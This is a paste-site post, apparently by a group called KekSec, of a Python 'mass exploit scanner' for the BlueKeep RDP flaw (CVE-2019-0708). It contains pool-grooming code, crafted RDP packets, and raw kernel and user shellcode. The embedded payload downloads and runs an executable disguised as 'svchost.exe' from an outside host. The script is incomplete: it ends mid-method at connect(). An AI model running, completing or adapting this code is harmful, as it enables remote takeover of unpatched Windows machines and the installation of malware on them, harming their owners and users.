KekSec icon

BLUEKEEP MASS EXPLOIT SCANNER BY FREAK

KekSec | PRO | 05/29/20 11:07:11 PM UTC | 0 ⭐ | 1457 👁️ | Never ⏰ | []
Python |

51.8 KB

|

None

|

0 👍

/

0 👎

#!/usr/bin/env python3
import sys
import socket
from base64 import b64decode
import os
import sys
import struct
import socket
import hashlib
import binascii
import time
import sys
import struct
import socket
import ssl
import time
import binascii
import traceback
import argparse
import errno
import base64
import threading
import random
from Crypto.Cipher import ARC4
import ipaddress
 
buf =  b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
buf += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d"
buf += b"\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
buf += b"\xff\xd5\x43\x3a\x5c\x57\x69\x6e\x64\x6f\x77\x73\x5c"
buf += b"\x53\x79\x73\x74\x65\x6d\x33\x32\x5c\x63\x6d\x64\x2e"
buf += b"\x65\x78\x65\x20\x2f\x43\x20\x63\x64\x20\x25\x74\x65"
buf += b"\x6d\x70\x25\x26\x65\x63\x68\x6f\x20\x53\x65\x74\x20"
buf += b"\x51\x3d\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63"
buf += b"\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e"
buf += b"\x58\x4d\x4c\x48\x54\x54\x50\x22\x29\x3a\x51\x2e\x4f"
buf += b"\x70\x65\x6e\x20\x22\x47\x45\x54\x22\x2c\x22\x68\x74"
buf += b"\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x6c\x6f\x61\x64"
buf += b"\x2e\x6c\x6f\x67\x69\x6e\x73\x65\x72\x76\x2e\x6e\x65"
buf += b"\x74\x2f\x73\x76\x63\x68\x6f\x73\x74\x2e\x65\x78\x65"
buf += b"\x22\x2c\x46\x61\x6c\x73\x65\x3a\x51\x2e\x53\x65\x6e"
buf += b"\x64\x3a\x53\x65\x74\x20\x42\x7a\x3d\x43\x72\x65\x61"
buf += b"\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x41\x44\x4f"
buf += b"\x44\x42\x2e\x53\x74\x72\x65\x61\x6d\x22\x29\x3a\x42"
buf += b"\x7a\x2e\x54\x79\x70\x65\x3d\x31\x3a\x42\x7a\x2e\x4f"
buf += b"\x70\x65\x6e\x3a\x42\x7a\x2e\x57\x72\x69\x74\x65\x20"
buf += b"\x51\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64"
buf += b"\x79\x3a\x42\x7a\x2e\x53\x61\x76\x65\x54\x6f\x46\x69"
buf += b"\x6c\x65\x20\x22\x59\x2e\x65\x78\x65\x22\x2c\x32\x3a"
buf += b"\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28"
buf += b"\x22\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c"
buf += b"\x6c\x22\x29\x2e\x52\x75\x6e\x20\x22\x59\x2e\x65\x78"
buf += b"\x65\x22\x3a\x20\x3e\x44\x4f\x2e\x76\x62\x73\x26\x73"
buf += b"\x74\x61\x72\x74\x20\x77\x73\x63\x72\x69\x70\x74\x20"
buf += b"\x44\x4f\x2e\x76\x62\x73\x00"
#!/usr/bin/env python3
 
# Improvement ideas:
# - can we use less channels for grooms?
# - should we send a multi-TPKT message during free, wrapping it with channels?
# - should we send a multi-TPKT message for egg grooms?
 
metadata = {
    'name': 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',
    'description': '''
        The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,
        allowing a malformed Disconnect Provider Indication message to cause use-after-free.
        With a controllable data/size remote nonpaged pool spray, an indirect call gadget of
        the freed channel is used to achieve arbitrary code execution.
 
        TargetAddr = GROOMBASE + (0x400 * 1024 * GROOMSIZE)
 
        GROOMBASE examples:
            - normal:   0xfffffa8002407000
            - hotplug:  0xfffffa8012407000
            - hyper-v:  0xfffffa8102407000
    ''',
    'authors': [
        'ryHanson',
        'zerosum0x0'
    ],
    'references': [
        {'type': 'cve', 'ref': '2019-0708'},
        {'type': 'url', 'ref': 'https://github.com/zerosum0x0/CVE-2019-0708'}
    ],
    'date': 'May 14 2019',
    'type': 'remote_exploit',
    'rank': 'average',
    'privileged': True,
    'wfsdelay': 5,
    'targets': [
        {'platform': 'win', 'arch': 'x64'}
    ],
    'options': {
        'RHOST': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None},
        'RPORT': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 3389},
        'SSLVersion': {'type': 'string', 'description': 'SSL/TLS version', 'required': True, 'default': 'TLSv1'},
        'GROOM' : {'type': 'string', 'description': 'type of groom', 'required': True, 'default': 'chunk'},
        'GROOMWAITDELTA' : {'type': 'int', 'description': 'delta wait for grooming (crash avoidance)', 'required': True, 'default': 65},
        'GROOMWAITMIN' : {'type': 'int', 'description': 'minimum to wait after grooming (crash avoidance)', 'required': True, 'default': 5},
        'GROOMCHANNEL' : {'type': 'string', 'description': 'channel to groom (advanced)', 'required': True, 'default': 'RDPSND'},
        'GROOMCHANNELCOUNT' : {'type': 'int', 'description': 'number of channels to groom (advanced)', 'required': True, 'default': 1},
        'GROOMSIZE' : {'type': 'int', 'description': 'size of the groom in MB', 'required': True, 'default': 250},
        'GROOMBASE' : {'type': 'int', 'description': 'target NPP start/base address (manual)', 'required': True, 'default': 0xfffffa8002407000}  #  = '0xfffffa8021807000'
 
        #'GROOMSIZE' : {'type': 'int', 'description': 'size of the groom in MB', 'required': True, 'default': 200},
        #'GROOMTARGET' : {'type': 'int', 'description': 'target address for shellcode', 'required': True, 'default': 0xfffffa8010000000}
        # TODO: add advanced options to tune the groom parameters, etc.
    },
    'notes': {
        'AKA': ['BlueKeep']
    }
}
 
 
offsets = {
    'Win7x64' :
    {
        'CHANNEL_JMP_ADDR' : 0x100,
    }
}
 
'''
ba e 1 termdd!IcaChannelInputInternal+0x45d "r rax; g;"
bp rdpdr!VirtualChannel::SubmitClose
bp rdpdr!TSQueueWorker+0xa0 ".printf \"RDPDR poi(%p) == %p  (%ly)\\n\", rbx, poi(rbx), poi(rbx); g"
bp rdpdr!TSQueueWorker+0x7e ".printf \"RDPDR->fnPtr = %ly\\n\", r11; g"
ba e 1 RDPWD!MCSIcaRawInputWorker ".printf \"RAW: %d\\n\", r8; db rdx rdx+r8; g"
'''
class GroomStrategy(object):
    def __init__(self, client, args):
        self.client = client
        self.args = args
 
    @staticmethod
    def factory(client, args):
        name = args['GROOM'].lower()
 
        if name == 'frag':
            return FragGroomStrategy(client, args)
        elif name == 'chunk':
            return ChunkGroomStrategy(client, args)
 
        return None
 
    def before_connect(self):
        pass
 
    def after_handshake(self):
        pass
 
    def trigger_free(self, send = True):
        print_warning("<---------------- | Entering Danger Zone | ---------------->", self.args)
        print_status("\tTriggering free!", self.args)
        # malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)
        pkt = b""
        pkt += b"\x00\x00\x00\x00\x00\x00\x00\x00\x02" # offset +0x8 = opcode
        pkt += b"\x00" * 0x22
 
        mst120 = self.client.find_channel_by_name("MS_T120")
        tpkt = self.client.make_channel_raw(mst120.channel_id, pkt, len(pkt), 3)
        if send:
            self.transport_write(tpkt)
 
        return tpkt
 
    def trigger_use(self):
        print_status("\tTriggering use!", self.args)
        print_warning("<---------------- | Leaving Danger Zone | ---------------->", self.args)
        # Disconnect Provider Ultimatum will force use of channel
        self.client.terminate_connection()
        self.client.disconnect()
 
    def generate_payloads(self, header_offset = 0x38):
        for payload in self.payloads:
            yield payload[header_offset:]
 
    def make_channel(self, header_offset = 0x38):
        return self.channel[header_offset:]
 
 
class FragGroomStrategy(GroomStrategy):
    def before_connect(self):
        # bind raw sock
        pass
 
    def after_handshake(self):
        pass
 
    def send_frag_packet(self, alloc_size):
        pass
 
 
class ChunkGroomStrategy(GroomStrategy):
    def __init__(self, client, args):
        super(ChunkGroomStrategy, self).__init__(client, args)
        # TODO: Find better address that works for both Win7 and 2008
        self.pool_addr = int(args['GROOMBASE']) + (0x400 * 1024 * int(args['GROOMSIZE']))
        self.args = args
    def after_handshake(self):
        fake_channel = self.create_fake_channel()
        payloads = self.create_payloads()
 
        vprint_status("Using CHUNK groom strategy. %dMB -> 0x%x" % (int(self.args['GROOMSIZE']), self.pool_addr), self.args)
 
        #log(repr(payloads))
 
        try:
            start_id = 0x3ed
            start = time.time()
 
            max_channel = start_id + int(self.args['GROOMCHANNELCOUNT'])
 
            channel_filler_tpkt = self.client.make_channel_raw(start_id, fake_channel, 0x0fffffff, 0)
 
            # send initial grooms
            self.client.transport_write(channel_filler_tpkt * 1024)
 
            # send wrapped free trigger
            trigger_tpkt = channel_filler_tpkt * 20
            trigger_tpkt += self.trigger_free(False)
            trigger_tpkt += channel_filler_tpkt * 80
 
            #print_status(repr(trigger_tpkt))
 
            self.client.transport_write(trigger_tpkt)
 
            tpkts = b""
            for i in range(0x40, 2048):
                for id in range(start_id, max_channel):
                    tpkts += channel_filler_tpkt
 
                if (len(tpkts) > 0x420):
                    self.client.transport_write(tpkts)
                    tpkts = b""
                print_status_counter("\t\tSurfing channels...\t", i, 0x800, 0x40)
 
            groomMB = int(self.args['GROOMSIZE'] * (1024 / len(payloads)))  # 0x400 is 1kib
 
            for i in range(0, groomMB):
                tpkts = b""
                for id in range(start_id, max_channel):
                    for payload in payloads:
                        tpkts += self.client.make_channel_raw(id, payload, 0x0fffffff, 0)
                self.client.transport_write(tpkts)
                if ((time.time() - start) + 1) % 10 == 0:
                    self.client.transport_write(b"\x04\x80\x0a\x20\x00\x08\xff\x03\x26\x01")
                print_status_counter("\t\tLobbing eggs...\t\t", i, groomMB)
 
            secs = int(self.args['GROOMWAITDELTA']) - (time.time() - start) + 1
 
            gwm = int(self.args['GROOMWAITMIN'])
            if secs < gwm:
                secs = gwm
 
            if secs > 0:
                input_fpdu = b"\x04\x80\x0a\x20\x00\x08\xff\x03\x26\x01"
                #print_sleep("\t\tWaiting a lil...\t", secs, self.client, input_fpdu)
 
            self.trigger_use()
        except socket.error as e:
            if e.errno == errno.ECONNRESET:
                print_bad("Connection reset: Groom failed! (Avoided crash... hopefully)", args)
            else:
                raise e
 
    def create_fake_channel(self):  #TODO: Integrate with base class make_channel
        overspray_addr = self.pool_addr + 0x2000         # 0xfffffa801c902000
        shellcode_vtbl = self.pool_addr + 0x48           # 0xfffffa801c900048
 
        chan = b""
        # first 0x38 bytes are used by DATA PDU packet
        # fake channel starts at +0x38, which is +0x20 of an _ERESOURCE
        chan += struct.pack('<Q', 0x00);                # 0x38 00000020 SharedWaiters QWORD
        chan += struct.pack('<Q', 0x00);                # 0x40 00000028 ExclusiveWaiters QWORD
        chan += struct.pack('<Q', overspray_addr+0x48)  # 0x48 00000030 OwnerEntry      _OWNER_ENTRY
        chan += struct.pack('<Q', overspray_addr+0x48)       # 0x50 00000038 OwnerEntry      _OWNER_ENTRY
        chan += struct.pack('<I', 0x00);                # 0x58 00000040 ActiveEntries   DWORD
        chan += struct.pack('<I', 0x00);                # 0x5c 00000044 ContentionCount DWORD
        chan += struct.pack('<I', 0x00);                # 0x60 00000048 NumberOfSharedWaiters DWORD
        chan += struct.pack('<I', 0x00);                # 0x64 0000004C NumberOfExclusiveWaiters DWORD
        chan += struct.pack('<Q', 0x00);                # 0x68 00000050 Reserved2       QWORD
        chan += struct.pack('<Q', overspray_addr+0x48)       # 0x70 00000058 Address         QWORD / CreatorBackTraceIndex QWORD
        chan += struct.pack('<Q', 0x00);                # 0x78 00000060 SpinLock        QWORD
 
        # 00000080 resource2 _ERESOURCE
        chan += struct.pack('<Q', overspray_addr+0x48)  # 0x80 + 00000000 SystemResourcesList _LIST_ENTRY
        chan += struct.pack('<Q', overspray_addr+0x48)  # 0x80 + 00000008 SystemResourcesList _LIST_ENTRY
        chan += struct.pack('<Q', 0x00);                # 0x80 + 00000010 OwnerTable      QWORD
        chan += struct.pack('<H', 0x00);                # 0x80 + 00000018 ActiveCount     WORD
        chan += struct.pack('<H', 0x00);                # 0x80 + 0000001A Flag            WORD
        chan += struct.pack('<I', 0x00);                # 0x80 + 0000001C Pad DWORD
        chan += struct.pack('<Q', 0x00);                # 0x80 + 00000020 SharedWaiters
        chan += struct.pack('<Q', 0x00);                # 0x80 + 00000028 ExclusiveWaiters QWORD
        chan += struct.pack('<Q', overspray_addr+0x48)  # 0x80 + 00000030 OwnerEntry      _OWNER_ENTRY
        chan += struct.pack('<Q', overspray_addr+0x48)  # 0x80 + 00000038 OwnerEntry      _OWNER_ENTRY
        chan += struct.pack('<I', 0x00);                # 0x80 + 00000040 ActiveEntries   DWORD
        chan += struct.pack('<I', 0x00);                # 0x80 + 00000044 ContentionCount DWORD
        chan += struct.pack('<I', 0x00);                # 0x80 + 00000048 NumberOfSharedWaiters DWORD
        chan += struct.pack('<I', 0x00);                # 0x80 + 0000004C NumberOfExclusiveWaiters DWORD
        chan += struct.pack('<Q', 0x00);                # 0x80 + 00000050 Reserved2       QWORD
        chan += struct.pack('<Q', overspray_addr+0x48)  # 0x80 + 00000058 Address         QWORD / CreatorBackTraceIndex QWORD
        chan += struct.pack('<Q', 0x00);                # 0x80 + 00000060 SpinLock        QWORD
 
        chan += struct.pack('<I', 0x1f);                # 0xb0 000000E8 classOffset     DWORD
        chan += struct.pack('<I', 0x00);                # 0xb4 000000EC bindStatus      DWORD
        chan += struct.pack('<Q', 0x72);                # 0xb8 000000F0 lockCount1      QWORD
        chan += struct.pack('<Q', overspray_addr+0x448) # 0xc0 000000F8 connection      QWORD
        chan += struct.pack('<Q', shellcode_vtbl)       # 0xc8 00000100 shellcode vtbl  QWORD
        chan += struct.pack('<I', 0x05);                # 0xd0 00000108 channelClass    DWORD
        chan += b"MS_T120\x00"                          # 0xd4 0000010C channelName     CHAR[8]
        chan += struct.pack('<I', 0x1f);                # 0xdc 00000114 channelIndex    DWORD
        chan += struct.pack('<Q', overspray_addr+0x810) # 0xe0 00000118 channels        QWORD
        chan += struct.pack('<Q', overspray_addr+0x810) # 0xe8 00000120 connChannelsAddr QWORD
        chan += struct.pack('<Q', overspray_addr+0x810) # 0xf0 00000128 list1           _LIST_ENTRY
        chan += struct.pack('<Q', overspray_addr+0x810) # 0xf8 00000130 list1           _LIST_ENTRY
        chan += struct.pack('<Q', overspray_addr+0x810) # 0x100 00000138 list2          _LIST_ENTRY
        chan += struct.pack('<Q', overspray_addr+0x810) # 0x108 00000140 list2          _LIST_ENTRY
        chan += struct.pack('<I', 0x65756c62);          # 0x110 00000148 inputBufferLen  DWORD
        chan += struct.pack('<I', 0x7065656b);          # 0x114 0000014C sysParams       DWORD
        chan += struct.pack('<Q', overspray_addr+0x810) # 0x118 00000150 connResource    QWORD
        chan += struct.pack('<I', 0x65756c62);          # 0x120 00000158 lockCount158    DWORD
        chan += struct.pack('<I', 0x7065656b);          # 0x124 0000015C dword15C        DWORD
        return chan
 
    def create_payloads(self, header_size = 0x48):
        payloads = []
        # TODO: don't hardcode eggs so bad?
        kmode_egg = 0xb00dac0fefe42069
        umode_egg = 0xb00dac0fefe31337
 
        # len(kmode) == 873 (0x0369)
        kmode = b""
        #kmode += b"\xcc"
        kmode += b"\x90"
        kmode += b"\x90"
        kmode += b"\x90"
        kmode += b"\x90"
        kmode += b"\x55\xe8\x61\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d\x0d\x5b\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00"
        kmode += b"\x74\x0a\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48\xc1\xea\x20\x0f\x30\x5d\x65\x48\x8b\x04\x25\x88\x01\x00\x00"
        kmode += b"\x66\x83\x80\xc4\x01\x00\x00\x01\x4c\x8d\x9c\x24\xb8\x00\x00\x00\x31\xc0\x49\x8b\x5b\x30\x49\x8b\x6b\x40\x49\x8b\x73\x48\x4c\x89"
        kmode += b"\xdc\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x5f\xc3\x48\xc7\xc5\x00\x41\xd0\xff\xc3\x0f\x01\xf8\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65"
        kmode += b"\x48\x8b\x24\x25\xa8\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50\x55\xe8\xd1\xff\xff\xff\x48\x8b\x45\x00\x48\x83"
        kmode += b"\xc0\x1f\x48\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00"
        kmode += b"\xc0\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57\x41"
        kmode += b"\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d\x5a\x75\xf1"
        kmode += b"\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x78\x7c\xf4\xdb\xe8\x13\x01\x00\x00\x48\x91\xbf\x3f\x5f\x64\x77\xe8\x0e"
        kmode += b"\x01\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04\x11\x4d\x89\xc1\x4d\x8b\x09"
        kmode += b"\x4d\x39\xc8\x0f\x84\xd8\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8"
        kmode += b"\xcd\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x31\xc0\x48\x8d\x34\x19\x50\xe8\x03\x01\x00\x00\x3d\xd8\x83\xe0\x3e\x58\x74\x1e\x48\xff"
        kmode += b"\xc0\x48\x3d\x00\x03\x00\x00\x75\x0a\x31\xc9\x88\x4d\xf8\xe9\x8e\x00\x00\x00\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xd0\xbf\x48\xb8\x18"
        kmode += b"\xb8\xe8\x84\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e"
        kmode += b"\x4c\xf8\xce\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00"
        kmode += b"\x00\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46\xcc"
        kmode += b"\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb"
        kmode += b"\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00"
        kmode += b"\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b"
        kmode += b"\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca"
        kmode += b"\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f"
        kmode += b"\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57"
        kmode += b"\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x6d\x48\x8b\x3e\x57\x48\x8d\x35\x28\xfd\xff\xff\x48\xbf\x37\x13\xe3\xef\x0f\xac"
        kmode += b"\x0d\xb0\x48\x81\xee\x00\x04\x00\x00\x48\x8b\x46\xf8\x48\x39\xf8\x75\xf0\x48\xff\xc6\x48\x8b\x46\xf8\x48\x39\xf8\x75\xf4\x5f\xb9"
        kmode += b"\x80\x03\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50"
        kmode += b"\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\xfa\xfe\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1"
        kmode += b"\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83"
        kmode += b"\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3"
 
 
 
        umode = b'H\x8d\r\xf9\xff\xff\xffI\xb8i \xe4\xef\x0f\xac\r\xb0H\x81\xe9\x00\x04\x00\x00H\x8bQ\xf8L9\xc2u\xf0\xff\xe1'
        umode += struct.pack('<Q', umode_egg) # umode requires two eggs for variable eggfinder gadget
        umode += buf
 
 
        payloads.append(self.create_shellcode(buf, kmode_egg, header_size))
        payloads.append(self.create_shellcode(buf, umode_egg, header_size))
 
        open('kernel.python', 'wb').write(payloads[0])
        open('user.python', 'wb').write(payloads[1]);
 
        return payloads
 
    def create_shellcode(self, payload, egg = 0xb00dac0fefe42069, header_size = 0x48): #TODO: Integrate with base class generate payloads
        max_size = 0x400 - header_size
        p = b""
        # This vtable should land at address: pool_addr+0x48
        # First entry is a ptr to shellcode : pool_addr+0x50
        #p += struct.pack('<Q', self.pool_addr+0x50)
        p += struct.pack('<Q', self.pool_addr + header_size + 0x10)  # indirect call gadget, over this pointer + egg
        p += struct.pack('<Q', egg)
        p += payload
        p += b"\x00" * (max_size - len(p))
        return p
 
'''
Generic RDP channel that can recv and send messages
'''
class RdpChannel(object):
    def __init__(self, name, flags = 0x80000000):
        self.name = name
        self.flags = flags
 
        # kludges
        self.channel_id = -1
        self.client = None
 
    def on_data_received(self, client, data, flags, full_pkt):
        self.client.print_func("[%s] Recv data (%d): %s" % (self.name, len(data), binascii.hexlify(data)[0:50]))
 
    def send_message(self, data):
        self.client.print_func("[%s] Send message (%d): %s" % (self.name, len(data), binascii.hexlify(data)[0:50]))
        self.client.send_channel_message(self.channel_id, data)
 
    def send_raw(self, data, total_length, flags = 0):
        self.client.print_func("[%s] Send raw (%d): %s" % (self.name, len(data), binascii.hexlify(data)[0:50]))
        self.client.send_channel_raw(self.channel_id, data, total_length, flags)
 
'''
A custom RDPDR client implementation that runs the primary exploit
'''
class ExploitRdpdrChannel(RdpChannel):
    def __init__(self, groom_strategy):
        super(ExploitRdpdrChannel, self).__init__("rdpdr", 0x80800000)
        self.groom_strategy = groom_strategy
 
    def on_data_received(self, client, data, flags, full_pkt):
        super(ExploitRdpdrChannel, self).on_data_received(client, data, flags, full_pkt)
 
        ctyp = struct.unpack("<H", data[0:2])[0]
        if ctyp != 0x4472:  # Header->RDPDR_CTYP_CORE = 0x4472
            return
 
        # opcodes = https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/29d4108f-8163-4a67-8271-e48c4b9c2a7c
        opcode = struct.unpack("<H", data[2:4])[0]
 
        # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/7500118a-c1f2-45ff-a67e-a09682940402
        if opcode == 0x496e: # Server Device Announce Response
            self.client.print_func("[rdpdr] Header->PAKID_CORE_SERVER_ANNOUNCE = 0x496e")
            #vprint_status("Got RDPDR announce.")
            self.send_message(self.rdpdr_client_announce_reply())
            self.send_message(self.rdpdr_client_name_request())
        elif opcode == 0x5350:
            self.client.print_func("[rdpdr] Header->PAKID_CORE_SERVER_CAPABILITY = 0x5350")
            reply = data[:3] + b"\x43" + data[4:] # for this, we change opcode 1 byte to match server capabilities. (0x4350)
            self.send_message(reply)
        elif opcode == 0x4343:  # Server Client ID confirm
            self.client.print_func("[rdpdr] Header->PAKID_CORE_CLIENTID_CONFIRM = 0x4343")
            self.send_message(self.rdpdr_client_device_list_announce_request())
 
            # Groom the pool!
            #vprint_status("Completed RDPDR handshake!")
 
            self.groom_strategy.after_handshake()
        else:
            self.client.print_func("[rdpdr] unknown opcode (%04x)" % (opcode))
 
        #sys.exit(0)
 
        # rdpdr closes channel on us if first packet is invalid, this one allows arbitrary size
        #p = b""
        #p += b"\x72\x44"                # Header->RDPDR_CTYP_CORE = 0x4472
        #p += b"\x4d\x44"                # Header->PAKID_CORE_DEVICELIST_REMOVE =  0x444d
        #p += b"\xff\xff\xff\x00"        # size in bytes * 4
        #p += b"\x01\x00\x00\x00"
 
        #for id in range(0x3ec, 0x3f0):
        #    self.client.send_channel_raw(id, p, 0x0fffffff, 1) #
 
    # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/d6fe6d1b-c145-4a6f-99aa-4fe3cdcea398
    # DR_CORE_CLIENT_ANNOUNCE_RSP
    def rdpdr_client_announce_reply(self):
        p = b""
        p += b"\x72\x44"                # Header->RDPDR_CTYP_CORE = 0x4472
        p += b"\x43\x43"                # Header->PAKID_CORE_CLIENTID_CONFIRM = 0x4343
        p += b"\x01\x00"                # VersionMajor = 0x0001
        p += b"\x0c\x00"                # VersionMinor = 0x000c
        p += b"\x02\x00\x00\x00"        # ClientId = 0x00000002
        return p
 
    # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/902497f1-3b1c-4aee-95f8-1668f9b7b7d2
    # DR_CORE_CLIENT_NAME_REQ
    def rdpdr_client_name_request(self):
        p = b""
        p += b"\x72\x44" #  Header->RDPDR_CTYP_CORE = 0x4472
        p += b"\x4e\x43" #  Header->PAKID_CORE_CLIENT_NAME = 0x434e
        p += b"\x01\x00\x00\x00"  # UnicodeFlag = 0x00000001
        p += b"\x00\x00\x00\x00"  # CodePage = 0x00000000
        p += b"\x0e\x00\x00\x00"  # ComputerNameLen = 0x0000001e (30)
        p += b"\x65\x00\x74\x00\x68\x00\x64\x00\x65\x00\x76\x00\x00\x00"  # TODO: randomize
        return p
 
    # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/10ef9ada-cba2-4384-ab60-7b6290ed4a9a
    # DR_CORE_DEVICELIST_ANNOUNCE_REQ
    def rdpdr_client_device_list_announce_request(self):
        return b"\x72\x44\x41\x44\x00\x00\x00\x00"
 
    def rdpdr_client_device_list_remove(self):
        p = b""
        p += b"\x72\x44"                # Header->RDPDR_CTYP_CORE = 0x4472
        p += b"\x4d\x44"                # Header->PAKID_CORE_DEVICELIST_REMOVE =  0x444d
        p += b"\xff\xff\xff\x01"        # size in bytes * 4
        p += b"\x01\x00\x00\x00"
        return p
 
class RdpClient(object):
    def __init__(self, args, host, port, protocol, print_func, timeout = 35.0):
        self.host = host
        self.port = port
        self.protocol = protocol
        self.timeout = timeout
        self.channels = []
        self.print_func = print_func
        self.sock = None
        self.args = args
 
    def add_channel(self, channel):
        if self.find_channel_by_name(channel.name) != None:
            return
 
        channel.channel_id = 1004 + len(self.channels)
        channel.client = self
 
        self.print_func("[%s] Assigned to %d" % (channel.name, channel.channel_id), self.args)
        self.channels.append(channel)
 
    def find_channel_by_name(self, name):
        name = name.lower()
        for channel in self.channels:
            if channel.name.lower() == name:
                return channel
        return None
 
    def find_channel_by_id(self, id):
        start = 1004
        if len(self.channels) == 0 or id < start or id > start + len(self.channels):
            return None
 
        return self.channels[id - start]
 
    def connect(self):
        self._create_socket()
 
        vprint_status("Socket connection established.", self.args)
 
        self.send_client_data()
        self.send_channel_packets()
